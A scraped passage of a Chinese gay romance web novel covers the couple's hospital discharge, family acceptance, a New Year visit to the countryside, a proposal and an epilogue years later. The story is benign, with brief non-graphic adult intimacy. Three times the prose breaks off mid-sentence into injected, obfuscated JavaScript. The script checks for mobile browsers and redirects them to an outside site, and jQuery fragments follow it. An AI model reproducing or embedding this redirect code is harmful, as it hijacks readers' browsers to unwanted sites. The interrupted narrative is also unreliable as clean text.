医院。 廖桂月在病房收拾衣物的时候，秦南深正好换完衣服，她拿出围巾走过来问：“冷不冷？过几天还要下雪，你大病初愈，一定要注意保暖。” 秦南深：“知道，不冷。” 廖桂月还是给他戴了个围巾，又拿出手套，秦南深无奈笑道：“妈，您太夸张了，我不戴手套，没那么冷。” “你啊，长这么大，还跟个小孩似的，总要人叮嘱着。” 廖桂月收拾完说：“等你身体好了，我还要回老家，家里的牛、鸡、猪，邻居帮我喂，很多地还要除霜，你这大城市里的别墅，我也住不习惯。” 秦南深叹了口气：“妈，您也太着急了，下个月过年，我今年不想回去，要不然就在这过年吧，以我现在的能力，你不用在老家那么辛苦，把地都放着吧。” 廖桂月犹豫片刻，她低声说：“你爸的坟头草，我时不时要过去看看……在家里才安心，南南，自从你带领全村人发家致富的时候，我的脸上已经有了骄傲，但是落叶归根，我还是想回家。” “那我带着阳阳，和您一起回去过年，可以吗？” 秦南深说。 廖桂月十分为难，农村里不像城市这么开放，两个同性恋是稀奇事，不知道村里会不会有人嚼舌根。 “我一大把年纪了……丢不丢脸无所谓，村里人喜欢说闲话，我怕他们会有人说你，幸好你父亲去世的早，不然他的脾气，肯定不同意你们两个在一起。” 秦南深牵住她的手，低声说道：“村里人都很喜欢我，不会对我产生恶意，如果您害怕，我直接说是朋友就行，我和阳阳毕竟是两个男人，我也想低调点，不希望有人说他坏话。” “阳阳确实是个好孩子，你住院这段时间，多亏他照顾你，既然如此……那下个月咱们一起回去，把阳阳都带回来过年。” “好。” 温昭阳刚到门口，已经听到这两句话，他推开门进来，走过来说：“你们都收拾好了啊。” 秦南深抬眼望见他，伸手便轻轻揽住男孩的腰，语气带着几分漫不经心的笃定：“嗯，刚那话听见了吧？今年跟我回家过年，等过了初几再回来，顺便去姑姑家转转。我妈向来闲不住，不爱在城里待着，咱们只能多回去陪陪她。” 温昭阳眼里瞬间亮了起来，满是喜悦道：“真的可以吗？我早就听说，你老家遍地都是果园，家里也做水果批发生意，一直特别想去看看，那地方一定特别美吧！” 廖桂月笑了笑说：“是的，今年有点冷，果园里应该只有冬枣，不过家里有很多存货，甘蔗、晚熟的葡萄，阳阳可以过来尝尝，咱们县城的水果是最出名的。” “好！我姑姑今天在家里做了饭，给秦南深接风洗尘，现在去我家吧。” … 小区绿化带都染了冰霜，新年即将到来的时候，城市会变得冷清了些，都回老家过年去了。 温兰芝已经做了满桌子菜，上次没吃饭的海鲜大餐，这次也买了，秋秋和落落中途偷吃了好几次。 廖桂月过来的时候，提了很多礼物，温昭阳也帮忙提了几盒，一堆又一堆的东西。 温兰芝从厨房洗完手，摆碗筷的时候出来接：“廖姐，怎么带这么多礼品啊，小秦刚出院，你这些补品应该买给他补补。” 廖桂月憨厚老实笑道：“不打紧不打紧，多亏阳阳照顾他，才能这么快出院，听说南南之前心脏病突然发作的时候，倒在路边，也是阳阳救了他，两人才认识的，真是心地善良的好孩子。” “虽然老秦家绝后了，我是有点遗憾，对不起孩子他父亲。但是想到他们两个以后能互相照顾对方，能做个伴，我也死而无憾了。” “妈，别说这些丧气话。” 秦南深拍了拍她的手背说。 温兰芝：“是的，现在社会变了，不像我们那个年代，我上次在高中校门口卖水饺，也看见有俩男孩手牵手，躲在小巷子里搂搂抱抱……哎，这些年轻人，只要他们过得幸福，别后悔就成。” “快吃饭吧！我要饿瘪了。” 秋秋扬起脑袋叫道。 “我要吃大螃蟹！” 落落说。 廖桂月瞧这两个双胞胎活泼可爱，非常喜欢，也分不清谁是谁，她拿出两个红包，递给了小朋友。 “第一次正式上门，给她俩带的新年红包，就提前给了。” “谢谢阿姨。” 两个女孩同时说。 “廖姐，您这太客气了。” “客气什么，这以后还算是亲家了呢。” 一家人围坐在一起，笑声像过年时那样热热闹闹地满溢开来，你一言我一语，满是欢喜。两位女主人更是投缘，聊得格外投机，温馨的幸福感，就这样悄悄漫进了两个家庭里。 温兰芝突然拿出一张银行卡递给秦南深说：“小秦，这是之前你给咱家的钱，还有二十几万，先还给你。我摆摊卖水饺的生意越来越好，如今生活开支能运转过来，孩子的学费也够了，剩下的，我以后慢慢还给你。” 温昭阳愣住：“这是什么钱啊？” 秦南深笑了笑，推开女人的手说：“姑姑，我当初给您的时候，就没打算要回来，是送给阳阳和妹妹上学的生活费，不需要您还。” 温昭阳后知后觉反应过来，震惊瞪大眼睛：“姑姑之前说卖了件古董……是假的！那钱是你给的？？” 温兰芝哭笑不得，她这才解释道：“家里确实有件祖传的古董，那个时候也就卖了三千块。你性格犟，肯定不会接受小秦的钱，在咱们最困难的时候，借了咱们三十万，让你安心上学，怕你出去做兼职，压力过大，抑郁症也会越来越严重。” 温昭阳紧紧攥着掌心，指节微微泛白，声音压得很低，带着难以掩饰的感动：“姑姑，我以为您从来不会骗我……那天您突然转我十万，我还真以为那个古董特别值钱……您以前从没骗过我，所以我才一点没怀疑。要是那时候没有秦南深，或许，也就没有现在的我。” 秦南深牵住他的手，和男孩十指相扣，另一只手摸了摸他脑袋：“我不缺钱，这三十万对我来说不算什么，我不想看见一个这么聪明的祖国花朵，命丧于十八岁，是我想帮你。” “那钱……你收着吧，本来就是你的。” 温昭阳确实犟，不想欠人情。 秦南深沉思后，回答：“要不然这样，姑姑，这三十万，算是阳阳的彩礼钱，可以吗？以后我和他去国外领证，就不用给您彩礼了。” 此话一出，全桌的人都瞪大了眼睛，两个男孩在一起，还有这说法？还能领证？ “你们……还准备结婚？” 温兰芝也算是长见识。 秦南深淡定地给她们科普：“现在国外很多地方已经支持同性婚姻合法，我们去H国，可以找关系，也能办理，今天我把话说明白，我和阳阳并不是简单的恋爱。” “我要和他结婚、领证。两个人办一个旅行婚礼，给他所有的仪式感和爱，从今以后，无论生老病死，永远都会陪在他身边，我是认真的。” 温兰芝先是沉默了下，最后面带笑容，她家阳阳总算有人保护了。 “好，姑姑支持你们。” 廖桂月从小就在村里长大，她们那个年代，从未听过这种说法。 年轻时有这种男人和男人结婚，可能会被认成变态乱棍打死，现在是新时代、新社会，她就算想阻止，两个孩子也会难受，罢了，随他们去吧。 “嗯，妈妈之前本来不想同意，但是我想过，如果不答应，你寻死觅活的，我心里还是难受，只希望你们两个都能好好活着。” 温昭阳的眼泪毫无征兆地就掉了下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16320495|180087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，他怀疑自己抑郁症好了，但是又患上泪失禁，总是想哭，控制不住，一点喜悦和委屈，就会掉眼泪，每次都会哭得眼眶红肿。 “怎么了？” 秦南深抹去他眼角的泪花：“不哭，这是好事。” “我太高兴了……也太感动……你怎么能对我这么好……”温昭阳的声音裹着细碎的抽泣，带着难以平复的颤抖，“要是没有你，我的抑郁症不会好，也没法安安稳稳地上大学，更逃不出赵功林的魔爪……现在，你还承诺给我一辈子的幸福……” “秦南深，遇到你是我最幸运的事情。” 秦南深低头亲了下他的手背：“遇到你，也是我的幸运，你值得拥有最好的。” …… 因为人多，家里住不下，晚饭过后，秦南深和廖桂月回家，因为大病初愈，温昭阳也想陪他，就跟了过去。 秦南深的别墅空置很久，住院期间，都没怎么回来，只有廖桂月这段时间住的时候，一直在打理。 廖桂月回来后还说：“阳阳，你那个阳台的鸟笼，我也不知道你要不要，上次做卫生的时候，放在阳台角落里了。” “谢谢阿姨，是我以前养了金丝雀的。” 温昭阳说完，眼神充满哀伤之色：“也不知道啾啾怎么样，金丝雀不会冬眠，但是它怕冷，肯定躲在窝里了。” 秦南深走到阳台，准备收拾鸟笼的时候，他瞳孔骤缩，忽然吼道：“阳阳！！快过来看！！” 温昭阳立马跑了过来，随后也难以置信地瞪大眼睛，嘴唇颤抖了下。慢慢蹲下来：“啾啾……” 阳台角落的边缘，鸟笼门虚掩着，笼内蜷缩着一只金黄色的金丝雀。它身形瘦小，原本圆润的腹部瘪了下去，漂亮的羽毛沾满污渍，失去了往日光泽。 温昭阳之前给它绑在身上的鸟食也吃完了，小小的身体一动不动地躺在笼底，安静得像陷入了一场不会醒来的沉睡。 温昭阳双眼通红，他甚至不敢去触碰，生怕小鸟已经死了。 “啾啾……它……它怎么回来的？那么远的路，它怎么能找到这里来……” 温昭阳拿到小鸟的时候，金丝雀忽然动了动，精疲力尽地睁开眼，睁不开的眼睛，显然是已经累了，它看见主人后，抖了抖羽毛，躺在了他的掌心。 “活着！秦南深！它还活着！！” 温昭阳立马站起来说：“快，我们现在去看看还有没有哪家宠物医院营业，我的啾啾还没有死！它竟然自己回来了！” 秦南深立马拿起车钥匙，安抚他说：“别激动，冷静一点，我去开车，万物皆有灵，你拿命保护过它，这只小鸟已经记得你的味道、你的模样，想必是这两个月都在找你，才累成这样。” 因为这是它的家。 啾啾抬起头，啄了啄主人的手，脑袋靠在他拇指上，仿佛在说，不要再抛弃它了。 温昭阳低头蹭了蹭它的脑袋：“啾啾，对不起，对不起……是我不好，我那段时间情绪太抑郁，怕自己伤害自己的同时，也伤害了你，甚至想过自杀，所以才让你回归大自然，对不起……爸爸再也不会丢下你了。” 温昭阳十分内疚，秦南深出事的时候，他也没想过能活多久，如果小鸟看着他去世，会更难过，所以才把它放回大自然。 他没有想到，动物和人一样，都不想被抛弃，想和至亲的人在一起。 啾啾是一只好鸟，没有生主人的气，还是在轻轻啄他的手。 被放飞的小鸟，终究会寻着熟悉的方向回笼。 温昭阳终于懂得了生命的可贵，他忽然觉得，自己就像这只小鸟，熬过了数不清的痛苦与离别，兜兜转转，最终遇到秦南深，回到他身边。 这里是他最安稳的港湾，恰似鸟儿归笼，他终于找到了属于自己的、真正的归宿。 …… 20.结局【正文完】 日子匆匆一晃，新年便悄然而至。 家家户户挂起红灯笼、贴上红对联，农村的年味更是浓烈，鞭炮齐鸣，烟花绽放，声响震天，满是热闹欢喜。 温昭阳回来的时候，把金丝雀也带着了，他提着鸟笼，秦南深提着礼品，小鸟蹲在他肩头欢快地叽叽叫，像是在唱歌。 秦南深老家是自建房，一共三层楼，有三个院子，摆满了各种种植果园的工具，左边是农院，有个猪圈、还有一头牛正在吃草。 旁边邻居笑道：“婶子，回来了啊！咱们村的大功臣也回来了！南南，过来过来，俺家给你留了最爱吃的沙糖桔，去年种的，在棚子里好着呢。” 秦南深把东西放下，廖桂月说：“你带阳阳去玩吧，我收拾下家里的卫生。” “好。” 秦南深把温昭阳带过来，对邻居说：“三姨，这是我朋友温昭阳，他在城市一个人孤零零的，我就带回来一起过年。” 温昭阳打招呼：“阿姨好。” 妇女边笑着边把两孩子拉进屋：“好好好，真白净的孩子啊，长得真俊儿。南南，听说你得了心脏病，可把咱们村的人都着急死了，你父亲是因为这个走的，你妈妈得知消息的时候，差点一口气没上来，现在怎么样？手术成功了吗？” “已经痊愈了，现在医疗科技发达，我没事。” “那就好那就好。” 妇女进屋后，拿来沙糖桔，抓了很多给温昭阳，又拿来秋梨说：“来，孩子尝尝，这是咱们家的自己种植的，好吃得很。” “谢谢。” 温昭阳感受到了村里人的热情，剥开沙糖桔放在嘴里，立马睁大眼睛：“好甜好嫩啊！比城里的好吃多了。” “是吧，咱家还晒了地瓜干，你妈妈太忙没空弄，家里肯定没有，我拿给你，还有这个……” 温昭阳拜访完邻居，他两个衣兜、裤兜，手上提着的，装满了吃的，嘴里咬着地瓜干，越吃越喜欢。 “真好吃，你们这里的人都很热情，好多美食！” 秦南深笑道：“村里以前很穷，我赚了钱之后就拿下了很多地，给村里的叔叔婶婶们种植，咱们这边的土壤很好，果子成熟的也很漂亮，我也没有收他们的钱。所以他们都对我很好。” “等拜年的时候，你走一圈回来，这兜里可装不下，他们都很热情，对待客人会把所有吃的都拿出来招呼。” “真好。” 温昭阳踮起脚尖亲了亲他的脸说：“以后咱们老了，也来这里养老好不好？” “好。” 秦南深立马答应了。 “走吧，咱们回家帮阿姨做卫生。” 温昭阳刚进屋。 廖桂月从二楼下来，拿了个红包递给他：“阳阳，这是我给你准备的上门礼，本来是给南南未来的女朋友准备的……这孩子，出柜了从来没跟我说过，给你也是一样的。” 温昭阳愣住：“啊……我不要，我不用这个流程的……” 秦南深站在旁边笑：“收着吧，我妈几年前就把红包准备好了，你不收，她晚上都睡不着觉。” 温昭阳摸着厚实的红包，低头弯腰道谢：“谢谢阿姨，我们以后一定好好生活。” 廖桂月拍了拍他肩膀：“你是个好孩子，但凡你是那些不三不四的混混，阿姨死都不会答应这种事，跟你相处很舒服。” “嘿嘿，阿姨您言重了。” “还叫阿姨？在我心里，我都把你当儿子看待了。” 廖桂月说。 温昭阳脸色涨红，攥紧了手里的红包，笑脸相迎道：“妈妈。” 有生之年，他也没想到，竟然还能喊出这个称呼，他母亲去世的早，如今，又有了妈妈。 “诶，真乖。” 廖桂月牵着他过来，又给拿出秦南深小时候的照片给他看：“你在客厅玩，我去做卫生。” “妈，您怎么还把这个找出来了。” 秦南深看见这些陈旧相册，都是之前在摄影店拍的。 温昭阳坐在旁边笑：“那我看几分钟再去做卫生，诶呀，还有你的周岁照……” 相册上面的男孩长得很白，肉嘟嘟的，穿着开裆裤，抱着一个玉米哇哇大哭。 “哈哈哈……秦南深，你小时候这么可爱，胖乎乎的，小时候挺白，现在晒黑了一点。” 秦南深把相册翻过去，有点不好意思地说：“没什么好看的……” “好看。” 温昭阳继续翻。 秦南深似乎不喜欢拍照，每一个照片都是愁眉苦脸，要么哇哇大哭，要么就是追着玩具跑出镜头，特别可爱。 温昭阳翻到最后，看见一张两三岁的裸/照，小朋友表情呆呆的，坐在家里洗澡，应该是手机抓拍，打印出来的，因为照片很模糊，也没有任何精修和背景。 “不许看。” 秦南深抓过来说。 “噗哈哈哈——你怎么这么可爱。” 温昭阳捏了捏男人的脸：“你小时候照片挺多的。” 秦南深：“嗯，村里以前有个摄影师，我妈拍了些做纪念，后来五岁多的时候，下了几天的暴雨发洪灾，很多东西都被冲走了，只剩下这些。” “那个时候饭都吃不饱，国家补助被贪污，我还挑食，但是爸妈没有打骂我，一直把最好的留给我吃，所以我才想带领全村人致富，让我爸爸知道，他儿子是个很有出息的人。” 温昭阳抱住他胳膊：“你爸爸或许在天上已经看见了，才会保佑你，脱离了病痛的折磨，往后的生活都是幸福。” 秦南深低头亲了亲他的脸，无论性别，只要相爱，这条路就是对的。 … 回村几天，温昭阳到处玩，在果园里参观拍照，路上碰到很多村里的叔叔阿姨，都是热情地打招呼，秦南深走到哪里都有人一顿夸。 路边有个村民看见温昭阳问道：“诶，小伙子，你肩上这只小鸟儿真漂亮，它怎么不飞走啊？” 温昭阳看了眼右肩上面站着的小鸟说：“叔叔，这是我养的宠物鸟，是一只金丝雀，训练过的，只跟着我。” “这么稀奇啊，真有意思，像马戏团里面的小鸟。” 秦南深摘了几颗冬枣，用矿泉水洗了下递给温昭阳说：“尝尝，刚从果园里摘的。” 温昭阳接过来放嘴里咬了口，脆甜可口，甜度适中，果肉也是很嫩，他立马竖起大拇指：“好吃。” 啾啾扑腾了下翅膀，飞到秦南深身边，仰起头左右摇晃叫着：“叽叽叽——” 秦南深笑了起来：“什么意思啊。” 温昭阳回答：“它也想吃，在问你，为什么只给我，不给它。” “行行行，我去摘。” 秦南深伸手点了点金丝雀的脑袋，它扑腾翅膀很开心，羽毛都挥掉了，之前瘦掉的肉，这段时间又吃了回来。 啾啾飞到红枣树下，看见一只小白虫，用爪子疯狂地弹，最后啄到了嘴里。 “叽——” 显然是很美味。 温昭阳看见后，找了根尖锐的木棍，戳开地面的泥土，自言自语道：“这大冬天的，竟然还有小白虫，它们还没被冻死啊。” 金丝雀站在他肩膀上，好奇地盯着地面，看见主人帮它找虫子，别提多开心。 秦南深刚摘了几颗冬枣，便见温昭阳蹲在一旁。拨弄泥土，细心地给小鸟找虫子。 也难怪啾啾对他死心塌地，哪还有第二个主人这般疼宠，连让小鸟自己动爪找食都舍不得。 “诶，又有一条。” 温昭阳把小肉虫抓起来，泥土擦干净，递给坐在肩膀上面的金丝雀。 “叽！” 啾啾低头一啄，在嘴里咀嚼咽下。 “好了，这外面的虫不能吃多，小心拉肚子，去吃点枣儿吧。” 温昭阳起身拍了拍灰尘，金丝雀又飞到了秦南深身上。 男人把红枣递给它，啾啾抬起脚，用爪子把冬枣按在他肩膀上，低头啄来啄去。 秦南深拍了下它脑袋：“别把我羽绒服给叼坏了。” 温昭阳走过来说：“秦南深，你说，啾啾是不是能听懂人话？它好像比鹦鹉还聪明。” “你教的宠物，当然聪明。” 秦南深搓了搓他通红的小手，低头吹了口暖气，“冷吗？回去吧，妈妈应该快做好饭了，等天晴再带啾啾出来玩。” “好！” 温昭阳说。 … 他们家除夕的年夜饭是晚上六点整，香气萦绕屋间，窗外的鞭炮声骤然四起，烟花腾空绽放，瞬间点亮了黑沉的天空。 温昭阳从来没吃过这么热闹的年夜饭，以前在姑姑家，过年总是和赵功林吵架去了。 廖桂月给他夹菜说：“阳阳，你尝尝这个，咱们老家特别，米糕，还有自己打的糍粑，油炸薯角，都是很出名的。” “嗯，谢谢妈妈。” 温昭阳夹了块儿香煎糍粑，粘了点糖后放在嘴里咀嚼：“好软糯啊，酥脆可口。妈妈手艺太棒了，我能吃三碗饭，薯角黏糊糊的，口味真独特。” 廖桂月听后笑开了花：“这小孩，嘴真甜，不像我们家儿子，吃饭冷着个脸，也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325140|180087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不说话。” 秦南深：“食不言，寝不语，这是一种健康的修养。” 廖桂月瞪着眼，对温昭阳说：“你看，又来了，活得像小老头似的，不管干什么都是正经样。” 温昭阳噗嗤笑出声。 廖桂月给他夹鸡腿、盛汤，又把鱼肉端过来说：“年年有余，这个腊鱼你可得好好尝尝，我的独门手艺。” 几秒钟的功夫，温昭阳的碗已经堆了起来，他把腊鱼咬了一口，眼睛顿时亮了，香辣口味的，很有嚼劲。 “好吃！” “这个也好吃——” “唔……妈妈您别夹了，我吃不完。” 廖桂月瞅见他腮帮子圆鼓鼓的，又白又可爱，心里越来越喜欢，老实本分，善良乖巧，这就是他理想的儿媳妇，是个男孩也可以。 “南南，你三姨眼尖儿，她说早晨在街上的时候，看见你俩买烟花时，拉了下手，她回来后问过我，说你是不是喜欢男的。” 秦南深和温昭阳听到这句话都愣了一下。 他们现在可以隐瞒，往后再过十年，肯定瞒不住这么多亲朋好友。 廖桂月又无奈笑了笑：“我跟她说了你们的事，你猜她说什么？她说阳阳看起来像未成年小孩，以为是你用钱拐过来的，问你在城里是不是干正经事。” “噗咳咳……” 温昭阳听到这句话，嘴里的汤都咳出来了，急忙拿纸擦干净，呛得眼眶发红。 廖桂月给他擦了擦手：“这孩子，慢点喝。” 秦南深听得哭笑不得，无奈道：“这么说，三姨是把我当成电视里那种人？养小情人、拐小朋友的。” 他顿了顿，又补充道，“阳阳今年刚成年，瞧着是还带着点孩子气，大家误会倒也正常。” 廖桂月：“是啊，不过我解释后，三姨知道你是好孩子，也没多说什么，只是让你别害人家小孩。阳阳才十八岁，他不知道社会人心险恶，经历少，你大他这么多，千万别欺负他。” “妈，这个您不用顾虑，我对感情很专一，喜欢男孩子一辈子也不会改变，我也会对他负责到底。” 秦南深说。 “那就好，你是咱们村的希望，大家都不会说你的。” 廖桂月也放下了心。 温昭阳眼眶微微泛红，心底翻涌着暖意，这家人的负责与尊重，让他格外感动。 他语气认真又坚定：“妈妈，您放心，我已经不是小孩子，这件事我早认真考虑过，绝不是一时兴起，更不会后悔，我们一定会好好过日子的。” 廖桂月点点头：“好好好，快吃饭吧，待会该凉了，明天还有雪，今晚早点休息。” …… 吃完饭，温昭阳去卫生间洗澡的时候，秦南深也溜了进来。 “干嘛！这是你家，妈妈待会知道怎么办？？” 温昭阳大惊失色。 “我妈在隔壁打牌，今晚要守夜，十二点才能睡，要放烟花，家里没人。” 秦南深把脑袋搁在他肩膀上说。 浴霸的热水倾泻而下，两人周身迅速裹满热气，氤氲的水雾层层叠叠升起，将两道身影晕得模糊不清。 “妈妈还说，你干什么都正经……” 温昭阳小声嘀咕，他被按在墙壁上趴着，可怜的小鸟又被男人握住了。 秦南深：“我没承认过自己是正经人。” “……” 温昭阳闭上眼，突然疼得皱紧眉头，随后又似乎没入云端，身体漂浮在空中，躺在白云里。 …… 温昭阳进去的时候精神抖擞，出来后已经过了两小时，瘫软在男人怀里，被抱着回到房间。 秦南深亲了亲他的脸：“睡吧，我十二点喊你看烟花。” 温昭阳感觉到无名指传来了凉意，男人给他戴了一枚钻戒，耳边传来他磁性温柔的声音：“嫁给我。” 温昭阳没了力气，视线里只剩那枚钻戒，平整细钻衬着璀璨圈身，有几个英文字母，是他的名字缩写，精致又合宜，一看便知道是秦南深亲手设计的。 “好……” “温昭阳，我爱你。” “新年快乐。” 温昭阳笑了笑，躺在他怀里闭上眼：“新年快乐，我也爱你……” 窗台上的金丝雀正在叽叽欢唱，翅膀扑棱着划出一抹的弧度，那悦耳的歌声满是活跃，像是在为这段盛大的感情喝彩。 他们不仅是爱人，也是对方活下去的希望。 …… ——【正文完】—— 21.番外【全文完】 除夕十二点的时候，家家户户都在放烟花，村前村后，全是炮竹声，断断续续，持续到后半夜，响了一整晚。 温昭阳没见过这么热闹的家乡，他对秦南深说：“我们以后都回家过年吧。” “好。” 秦南深求之不得。 在家待到初三，走了几家亲戚拜完年，临出发时，温昭阳的行李箱早已被各色土特产塞满，身旁还多了一个沉甸甸的新箱子，全是长辈们硬塞的心意。 秦南深问：“妈，您真不和我们回去吗？在老家您一个人……” 廖桂月把他推走说：“快去吧，早点给你姑姑拜年，老家这么多事，我哪里放得下，你在家安装了四五个监控，我不管晕倒在哪里，你都能发现，担心什么呢。我一个人在老家自由，还能到处打牌，清闲。” 秦南深轻轻叹了口气。母亲总不爱享福，总把自己拴在各种琐事里，挣来的钱也都想着留给他。 可他如今的生活早已不需旁人帮衬，这话即便说过无数次，母亲也听不进去，始终不肯跟他去城里养老，只愿守着老家，守着早已习惯的日子。 “行吧，我给你雇几个果园的帮手，有什么事，记得给我发消息。” 秦南深说。 廖桂月点头说好，她在城市那边人生地不熟，城里人也不会打乡下牌，还是家里舒坦，熟人多。 “谢谢妈妈的招待，那我们走啦。” 温昭阳推着行李箱说。 廖桂月点点头笑着说：“好，阳阳在学校也要好好听课学习，有空的时候可以打视频电话，随时都能联系，如果吵架了，记得告诉妈妈，我帮你收拾他。” “嗯嗯！” 温昭阳开心地点头。 秦南深盯着他开朗阳光的侧脸，不知从何时开始，这个男孩越来越爱笑，性格也活泼了些，和刚遇到的时候天差地别。 其实温昭阳天性乖巧又鲜活，是那畜生的百般折磨，才彻底碾碎了他的活力，将他拖进了抑郁的深渊。 秦南深推着行李箱，往村外面马路边上走，边说，“阳阳，赵功林只被判了十年，如果他出来，你还会变得像以前那样吗？” 温昭阳听到这个名字，瞬间想到自己那段阴暗的时光，还有那天在卫生间时，赵功林妄想对他做的事。 他忽然抬头说：“秦南深，我要去练拳击，你可不可以帮我交报名费？等赵功林出来，他如果敢来找我、欺负我，我就把他的门牙打掉！！” 温昭阳说到这，还开心地笑了起来：“不过，他那个时候年龄也很大，我一拳会不会把他打死啊？” 秦南深松了口气，脸上露出安心的笑容，他捧住男孩的脸颊亲了亲，说：“好，我送你去学拳击，阳阳现在的样子真可爱。” 看着温昭阳的抑郁症彻底痊愈，他满心欢喜，这无疑是最值得高兴的事。 — 过完年，正月初十的时候，温昭阳他们就开学了。 与往日不同的是，两人指间多了枚闪耀的结婚钻戒。平日里若有同学好奇问温昭阳，为何会戴男士婚戒，他总会大大方方笑着答：“男朋友送的。” … 时光悄然流转，春夏秋冬更迭往复，他们的爱意也一年接一年，在岁月里愈发深厚。 岁月匆匆，五年制的大学生活转瞬即逝。温昭阳就读于医学专业，毕业时凭借全市名列前茅的优异成绩，成功被录入硕士阶段继续深造。 温昭阳却在家愁眉苦脸，每天都在嘀咕想上班，他觉得秦南深一个人上班养他太辛苦。 秦南深笑出声，他说：“阳阳，你不会觉得我工资很低吧？” 温昭阳靠在他怀里说：“你现在供我读书，还要给我生活费，拳击馆的学费、还有补课的费用，也不让我去兼职，隔三差五给我买衣服、买鞋子，给我两个妹妹送礼物，花钱的地方很多的。” “我上个月工资，税后发了十八万。” 秦南深突然说。 温昭阳骤然瞪大眼睛，他从来没有打听过秦南深的工资，所以才觉得他每天加班很辛苦，没想到竟然有这么惊人的收入！ “真……真的？” 温昭阳张大嘴惊讶道。 秦南深捏了捏他脸颊：“等会儿我把工资卡交给你，乖乖把博士学位拿到，咱们家温医生，以后是要当名医的，知识学得越多越好。” “你太好了，我可怎么报答你啊……” 温昭阳亲了亲他的嘴唇说。 “容易……” 秦南深直接把他横抱起来，带到了主卧。 温昭阳挣扎无果，躺在床上被按着，一遍又一遍地掠夺，最后精疲力尽求饶，说他体力太好了。 - 三年后。 温昭阳在学校的临床实验表现非常好，各项学分高，被迅速提拔成优秀人才。后面仅用三年的时间，不仅硕士提前毕业，也拿到了博士学位。 他毕业那年二十六岁，这个年龄拿到博士学位，是顶尖的水平。 温昭阳毕业后，考到了执业医师资格证，被江城第一医院录用，成为心外科主治医师。 这是温昭阳梦想了八年的事，他报考的时候，入学是骨科，后来认识秦南深，立马就调岗去了心外科。 秦南深是温昭阳心头放不下的牵挂，为了能护住最爱的人，他一头扎进心外科领域，还能救世济人。 八年寒窗磨剑，他将心外科所有手术的细节刻进脑海，练就过硬本领，唯有自己掌握更多，才能让秦南深的每一刻都与健康相伴。 … 这一年，温昭阳二十七岁，秦南深三十五岁。 温昭阳刚做完一台手术，低头看已经过了下班时间。 他走到办公室换衣服，出门的时候，新来的女医生问了句：“温医生，我上次看你开车，是往江城大道走，我的车昨天被追尾，送去修了，可以搭个顺风车吗？” 温昭阳低声回答：“可以。” “太感谢您了！” 两人走到楼下，她看见温昭阳的婚戒，又打趣问道：“温医生，您是什么时候结婚的啊？怎么从未见过您夫人？” 温昭阳定住，站在一楼大厅不动，女医生立马道歉：“不好意思，我是不是太冒昧了？” 温昭阳站着不动，原来是在看门外的人，秦南深进来后，手里提着一个草莓蛋糕，他挥了挥手：“这里。” 温昭阳走过去问：“怎么还买蛋糕了？” 秦南深：“今天是你的二十七岁生日，忘记了吗？” 温昭阳捂住脑袋，还真忙忘了。 成年后的他褪去以前的稚气，变得沉稳了许多，肤色养得越来越白，脸颊两边微微凸起，是秦南深养出来的肉，这些年胖了十几斤，但是秦南深还是说他瘦。 秦南深升职后，如今已经是总经理，再往上是董事长，常年看电脑，他稍微有点近视，戴着眼镜，整个人成熟斯文，三十多的男人比以往更加有魅力，长得也是越来越帅。 女医生惊呆了，这两个大帅哥，不会……是一对吧？ 温昭阳回过神大大方方的介绍：“这是咱们部门的李医生，她车坏了，待会顺路捎她回去。李医生，这是我爱人，秦南深。” 李医生愣愣地伸出手：“秦……秦先生您好……” 身后传来很大的议论声，一群女护士尖叫，温昭阳脸皮薄，赶紧把人牵出去了。 回去的路上，两个人有说有笑，你亲我浓，温昭阳尝了一口蛋糕上面的车厘子，问待会去哪里约会，秦南深说在家亲自准备了烛光晚餐。 李医生坐在后面，此时此刻，她犹如一只巨大的电灯泡，很想钻到车底。 “啊！温医生！我到了，就在右边拐进去的那个小区，感谢您载我一程，改天请你吃饭。” 秦南深把车拐过去，停在了小区门口，温昭阳笑了笑说：“不用这么客气，都是同事，再见。” 李医生下车后，踩着高跟鞋跑得可快了。 秦南深醋意浓浓的凑过来问：“暗恋你的医生啊？” 温昭阳拍了拍他的脸：“没有，别胡思乱想，公司很多人都知道我喜欢男的，她是没来多久的。” 秦南深叹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16328846|180087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了口气：“时间过得真快，咱们已经结婚九年，我比你大这么多，会越来越老，那么多年轻医生喜欢你，时间久了，真害怕阳阳会嫌弃我。” “笨蛋，你现在可是最有男人魅力的时候。” 温昭阳凑过去亲了亲他的脸颊，又咬了下男人的嘴唇：“哪怕你以后躺在床上，动不了，牙齿掉光了，头发全白，我也会像以前那样，在你生病的时候，陪你、照顾你、喂你吃饭。” 秦南深笑了笑，低头蹭了蹭他圆润的脸颊：“阳阳，你是派来拯救我的吧。” 